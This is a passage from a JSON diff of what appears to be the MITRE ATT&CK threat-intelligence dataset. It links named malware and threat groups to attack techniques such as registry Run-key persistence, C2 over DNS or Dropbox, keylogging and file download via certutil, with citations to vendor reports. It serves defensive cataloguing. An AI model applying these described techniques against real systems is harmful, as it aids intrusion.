"relationship--c8480a31-f2ef-4de2-82b2-95b1ddedec2e", + "external_references": [ + { + "source_name": "Symantec Pasam May 2012", + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DustySky](https://attack.mitre.org/software/S0062) extracts basic information about the operating system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c008b7f3-0507-4987-a7e4-8c4d57cb4ca5", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) uses [PsExec](https://attack.mitre.org/software/S0029) to execute a payload or commands on a remote host.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--00822c6a-a881-4678-8d74-6a52b2ca27c9", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.933Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dyre](https://attack.mitre.org/software/S0024) registers itself as a service by adding several Registry keys.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e9d2213a-81cf-45e3-876f-825d4ff2afae", + "external_references": [ + { + "source_name": "Symantec Dyre June 2015", + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + } + ], + "modified": "2019-04-24T23:21:07.877Z", + "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:01:21.311Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f1af286d-9367-45de-aced-a762838e58bd", + "external_references": [ + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ], + "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used Web shells, often to maintain access to a victim network.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2dbed740-1b50-4d59-a729-a1d9e6a839df", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "modified": "2019-07-17T16:17:30.162Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has sent malicious Office documents via email as part of spearphishing campaigns as well as executables disguised as documents.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--239d98a7-f134-4270-8333-c2df2feaa9ca", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + }, + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "modified": "2019-06-28T15:24:32.026Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve lists of running processes.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--53a8ee3f-f261-46d5-a6eb-512735867ee2", + "external_references": [ + { + "source_name": "Symantec Pasam May 2012", + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. 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Retrieved September 7, 2018.", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070)'s version of [Bandook](https://attack.mitre.org/software/S0234) adds a registry key to HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--74fd87b9-3aff-4278-a408-11ae470082e5", + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "modified": "2019-07-16T15:35:20.961Z", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "TRINITY malware used by [FIN6](https://attack.mitre.org/groups/G0037) identifies payment card track data on the victim and then copies it to a local file in a subdirectory of C:\\Windows\\. Once the malware collects the data, [FIN6](https://attack.mitre.org/groups/G0037) actors compressed data and moved it to another staging system before exfiltration.", + "type": "relationship", + "created": "2017-05-31T21:33:27.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eaaf6671-ead6-441b-b8d0-037a1e47572e", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "modified": "2019-06-28T14:59:17.710Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) sent spearphishing emails with malicious attachments in RTF and XLSM formats to deliver initial exploits.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--818b440b-075d-483d-83ff-9991a78e25f4", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "modified": "2019-04-25T11:39:52.234Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used HTTP and HTTPS for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--825aded7-3c93-47ec-9ba5-5bd5af4e2e2b", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + }, + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + } + ], + "modified": "2019-07-14T21:04:45.266Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[T9000](https://attack.mitre.org/software/S0098) performs checks for various antivirus and security products during installation.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--74e84133-f84a-469a-bfd7-1a514af2f15e", + "external_references": [ + { + "source_name": "Palo Alto T9000 Feb 2016", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LOWBALL](https://attack.mitre.org/software/S0042) uses the Dropbox cloud storage service for command and control.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8c9f23e6-2665-45b3-9c28-53a9335b16ce", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent malicious Word OLE compound documents to victims.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4bfaaf99-6884-4df1-af72-0cc61ce50aa0", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "modified": "2019-07-26T23:38:33.861Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) identifies files and directories for collection by searching for specific file extensions or file modification time.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0332cfa-d932-4bc3-b661-9cd72c00b390", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) uses DNS TXT records for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c560f682-0d21-4c9b-b35d-33aec2287117", + "external_references": [ + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "source_name": "Cisco DNSMessenger March 2017", + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "When it first starts, [BADNEWS](https://attack.mitre.org/software/S0128) spawns a new thread to log keystrokes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3e09a5ce-a6a0-4f03-8c23-a7ebb4dfd74c", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) achieves persistence by making an entry in the Registry's Run key.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ebad12d-fd33-4289-93dc-1f5af5e90b66", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SynAck](https://attack.mitre.org/software/S0242) payloads are obfuscated prior to compilation to inhibit analysis and/or reverse engineering.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--142ef662-460f-4082-8f76-f08dd312bc30", + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "modified": "2019-07-26T23:00:57.203Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The executable version of [Helminth](https://attack.mitre.org/software/S0170) has a module to log clipboard contents.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a58983e1-45d7-4b45-a578-307659a619dc", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to download files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2025480a-6d91-4ef5-a6ea-cc025c8aecfb", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) adds a new service named NetAdapter to establish persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b43b9ca-a916-44da-9ba5-917f03984157", + "external_references": [ + { + "source_name": "Symantec Catchamas April 2018", + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) discovers the current domain information.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8a5e73d-fe56-42d7-a53d-09a90c21308b", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[certutil](https://attack.mitre.org/software/S0160) can be used to download files from a given URL.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--73f5c564-53b1-48bc-8cab-32fa4a608672", + "external_references": [ + { + "source_name": "TechNet Certutil", + "description": "Microsoft. (2012, November 14). Certutil. Retrieved July 3, 2017.", + "url": "https://technet.microsoft.com/library/cc732443.aspx" + }, + { + "source_name": "Twitter subTee Certutil Downloader", + "description": "Smith, Casey. (2017, July 20). SubTee Twitter Status. Retrieved July 21, 2017.", + "url": "https://twitter.com/subTee/status/888102593838362624" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader establishes SOCKS5 connections for its initial C2.", + "type": "relationship", + "created": "2017-05-31T21:33:27.056Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--df4b49f1-71ca-4744-8554-47bf36174d89", + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "modified": "2019-04-29T18:01:20.571Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the computer name, OS versioning information, and OS install date and sends the information to the C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--550bf43e-53da-467e-affd-9f44ad668508", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-05-03T16:44:41.794Z", + "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) has the ability to upload and download files from its C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--18572125-3439-4f7c-92c8-d787913dc989", + "external_references": [ + { + "source_name": "Fidelis INOCNATION", + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Flame](https://attack.mitre.org/software/S0143) can record audio using any existing hardware recording devices.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--07d16181-ba82-42c8-a67b-8d7d5adef52d", + "external_references": [ + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + }, + { + "source_name": "Kaspersky Flame Functionality", + "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.", + "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/" + } + ], + "modified": "2019-06-06T14:35:53.951Z", + "source_ref": 